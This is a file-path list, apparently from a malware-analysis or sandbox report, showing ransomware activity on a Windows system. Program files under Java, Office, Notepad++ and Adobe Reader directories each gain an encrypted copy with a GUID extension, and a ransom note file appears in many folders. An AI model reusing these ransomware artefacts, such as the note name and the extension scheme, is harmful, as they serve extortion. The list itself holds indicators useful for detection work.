- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_ko.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_pt_BR.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_pt_BR.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_sv.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_sv.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_zh_CN.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_zh_CN.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_zh_HK.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_zh_HK.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_zh_TW.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_zh_TW.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\splash.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\splash.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\[email protected]",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\[email protected]",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\splash_11-lic.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\splash_11-lic.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\[email protected]",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\[email protected]",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\access-bridge-64.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\access-bridge-64.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\cldrdata.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\cldrdata.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\dnsns.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\dnsns.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\jaccess.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\jaccess.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\jfxrt.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\jfxrt.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\localedata.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\localedata.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\meta-index",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\meta-index.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\nashorn.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\nashorn.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\sunec.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\sunec.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\sunjce_provider.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\sunjce_provider.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\sunmscapi.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\sunmscapi.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\sunpkcs11.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\sunpkcs11.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\zipfs.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\ext\\zipfs.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaBrightDemiBold.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaBrightDemiBold.ttf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaBrightDemiItalic.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaBrightDemiItalic.ttf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaBrightItalic.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaBrightItalic.ttf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaBrightRegular.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaBrightRegular.ttf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaSansDemiBold.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaSansDemiBold.ttf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaSansRegular.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaSansRegular.ttf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaTypewriterBold.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaTypewriterBold.ttf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaTypewriterRegular.ttf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fonts\\LucidaTypewriterRegular.ttf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\cursors.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\cursors.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\invalid32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\invalid32x32.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_CopyDrop32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_LinkDrop32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_MoveDrop32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jfr\\default.jfc",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jfr\\default.jfc.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jfr\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jfr\\profile.jfc",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jfr\\profile.jfc.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management\\jmxremote.access",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management\\jmxremote.access.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management\\jmxremote.password.template",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management\\jmxremote.password.template.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management\\management.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management\\management.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management\\snmp.acl.template",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management\\snmp.acl.template.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\blacklist",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\blacklist.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\blacklisted.certs",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\blacklisted.certs.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\cacerts",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\cacerts.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\java.policy",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\java.policy.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\java.security",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\java.security.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\javaws.policy",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\javaws.policy.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\trusted.libraries",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\limited\\local_policy.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\limited\\local_policy.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\limited\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\limited\\US_export_policy.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\limited\\US_export_policy.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\unlimited\\local_policy.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\unlimited\\local_policy.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\unlimited\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\unlimited\\US_export_policy.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\security\\policy\\unlimited\\US_export_policy.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\Custom.propdesc",
- "C:\\Program Files\\Microsoft Office\\Office15\\Custom.propdesc.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Microsoft Office\\Office15\\Mso Example Setup File A.txt",
- "C:\\Program Files\\Microsoft Office\\Office15\\Mso Example Setup File A.txt.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\VisioCustom.propdesc",
- "C:\\Program Files\\Microsoft Office\\Office15\\VisioCustom.propdesc.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\1033\\Mso Example Intl Setup File A.txt",
- "C:\\Program Files\\Microsoft Office\\Office15\\1033\\Mso Example Intl Setup File A.txt.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\1033\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Microsoft Office\\Office15\\1033\\Mso Example Intl Setup File B.txt",
- "C:\\Program Files\\Microsoft Office\\Office15\\1033\\Mso Example Intl Setup File B.txt.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\1033\\officeinventoryagentfallback.xml",
- "C:\\Program Files\\Microsoft Office\\Office15\\1033\\officeinventoryagentfallback.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\1033\\officeinventoryagentlogon.xml",
- "C:\\Program Files\\Microsoft Office\\Office15\\1033\\officeinventoryagentlogon.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\prnms006.inf",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\prnms006.inf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\prnSendToOneNote15.cat",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\prnSendToOneNote15.cat.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\prnSendToOneNote15_win7.cat",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\prnSendToOneNote15_win7.cat.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\prnSendToOneNote15_win7.inf",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\prnSendToOneNote15_win7.inf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNote-manifest.ini",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNote-manifest.ini.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNote-PipelineConfig.xml",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNote-PipelineConfig.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNote.gpd",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNote.gpd.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNote.ini",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNote.ini.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNoteNames.gpd",
- "C:\\Program Files\\Microsoft Office\\Office15\\OneNote\\SendToOneNoteNames.gpd.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\contextMenu.xml",
- "C:\\Program Files\\Notepad++\\contextMenu.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Notepad++\\functionList.xml",
- "C:\\Program Files\\Notepad++\\functionList.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\langs.model.xml",
- "C:\\Program Files\\Notepad++\\langs.model.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\LICENSE",
- "C:\\Program Files\\Notepad++\\LICENSE.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\readme.txt",
- "C:\\Program Files\\Notepad++\\readme.txt.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\shortcuts.xml",
- "C:\\Program Files\\Notepad++\\shortcuts.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\stylers.model.xml",
- "C:\\Program Files\\Notepad++\\stylers.model.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\actionscript.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\actionscript.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Notepad++\\autoCompletion\\autoit.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\autoit.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\BaanC.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\BaanC.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\batch.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\batch.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\c.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\c.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\cmake.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\cmake.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\coffee.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\coffee.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\cpp.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\cpp.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\cs.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\cs.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\css.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\css.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\html.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\html.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\java.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\java.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\javascript.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\javascript.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\lisp.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\lisp.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\lua.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\lua.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\nsis.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\nsis.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\perl.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\perl.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\php.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\php.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\python.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\python.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\rc.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\rc.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\sql.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\sql.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\tex.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\tex.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\vb.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\vb.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\vhdl.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\vhdl.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\autoCompletion\\xml.xml",
- "C:\\Program Files\\Notepad++\\autoCompletion\\xml.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\localization\\english.xml",
- "C:\\Program Files\\Notepad++\\localization\\english.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\localization\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Notepad++\\updater\\gup.xml",
- "C:\\Program Files\\Notepad++\\updater\\gup.xml.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\updater\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Notepad++\\updater\\LICENSE",
- "C:\\Program Files\\Notepad++\\updater\\LICENSE.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Notepad++\\updater\\README.md",
- "C:\\Program Files\\Notepad++\\updater\\README.md.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Microsoft.VCLibs.x86.14.00.appx",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Microsoft.VCLibs.x86.14.00.appx.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RDCNotificationClient.appx",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RDCNotificationClient.appx.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf",
